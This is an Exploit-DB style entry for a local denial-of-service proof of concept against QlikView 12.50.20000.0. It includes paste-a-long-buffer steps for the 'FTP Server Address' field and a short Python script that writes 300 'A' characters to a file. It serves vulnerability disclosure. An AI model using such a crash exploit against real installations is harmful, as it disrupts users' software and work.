QlikView 12.50.20000.0 - 'FTP Server Address' Denial of Service (PoC)

vendor:

QlikView

by:

Luis Martinez

7.5

CVSS

HIGH

Denial of Service (DoS) Local

CWE

Product Name: QlikView

Affected Version From: 12.50.20000.0

Affected Version To: 12.50.20000.0

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 10 Pro x64

2020

QlikView 12.50.20000.0 – ‘FTP Server Address’ Denial of Service (PoC)

This exploit allows an attacker to crash the QlikView 12.50.20000.0 software by sending a specially crafted FTP server address. By pasting a large buffer of 'A' characters into the 'FTP Server Address' field, the software crashes, resulting in a denial of service.

Mitigation:

Apply the latest patch or update from the vendor to fix the crash issue.

Source

Exploit-DB raw data:

# Exploit Title: QlikView 12.50.20000.0 - 'FTP Server Address' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2020-08-03
# Vendor Homepage: https://www.qlik.com
# Software Link: https://www.qlik.com/us/trial/qlik-sense-business
# Tested Version: 12.50.20000.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: QlikView_12.50.20000.0.py
# 2.- Open QlikView_12.50.20000.0.txt and copy content to clipboard
# 3.- Open "QlikView 12"
# 4.- File -> "Open FTP ..."
# 5.- Paste ClipBoard on "FTP Server Address"
# 6.- Connect
# 7.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 300
f = open ("QlikView_12.50.20000.0.txt", "w")
f.write(buffer)
f.close()